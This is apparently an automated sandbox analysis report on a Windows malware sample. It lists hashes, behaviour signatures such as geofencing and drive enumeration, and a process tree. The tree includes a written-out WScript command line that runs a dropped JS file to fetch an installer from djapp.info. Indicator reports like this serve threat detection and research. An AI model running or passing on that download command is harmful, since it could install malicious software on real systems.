Analysis

  • max time kernel
    145s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/11/2022, 02:21

General

  • Target

    ac1667982c292fae2bc3807c4f8881c0a9fd65915bdccd0eed5d60fe2c3bfee2.exe

  • Size

    184KB

  • MD5

    82e69831d027d32098369af1c60ea402

  • SHA1

    c888b9600c8634ab54b182bf4efd753d1108ce5b

  • SHA256

    ac1667982c292fae2bc3807c4f8881c0a9fd65915bdccd0eed5d60fe2c3bfee2

  • SHA512

    9b95a2c8999348e939de07bd1ca25c7db19d50059a05d1f5a8994e6a5458797046b7eef45b4a6f8490673b3fe69d8bff42fa5b694e7f03c17a0b72f5346be7b0

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Z:/7BSH8zUB+nGESaaRvoB7FJNndnM

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 9 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ac1667982c292fae2bc3807c4f8881c0a9fd65915bdccd0eed5d60fe2c3bfee2.exe
    "C:\Users\Admin\AppData\Local\Temp\ac1667982c292fae2bc3807c4f8881c0a9fd65915bdccd0eed5d60fe2c3bfee2.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1800
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf77D4.js" http://www.djapp.info/?domain=eoSQFmVWdk.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf77D4.exe
      2⤵
      • Blocklisted process makes network request
      PID:1680
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf77D4.js" http://www.djapp.info/?domain=eoSQFmVWdk.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf77D4.exe
      2⤵
      • Blocklisted process makes network request
      PID:4900
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf77D4.js" http://www.djapp.info/?domain=eoSQFmVWdk.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf77D4.exe
      2⤵
      • Blocklisted process makes network request
      PID:4368

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf77D4.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76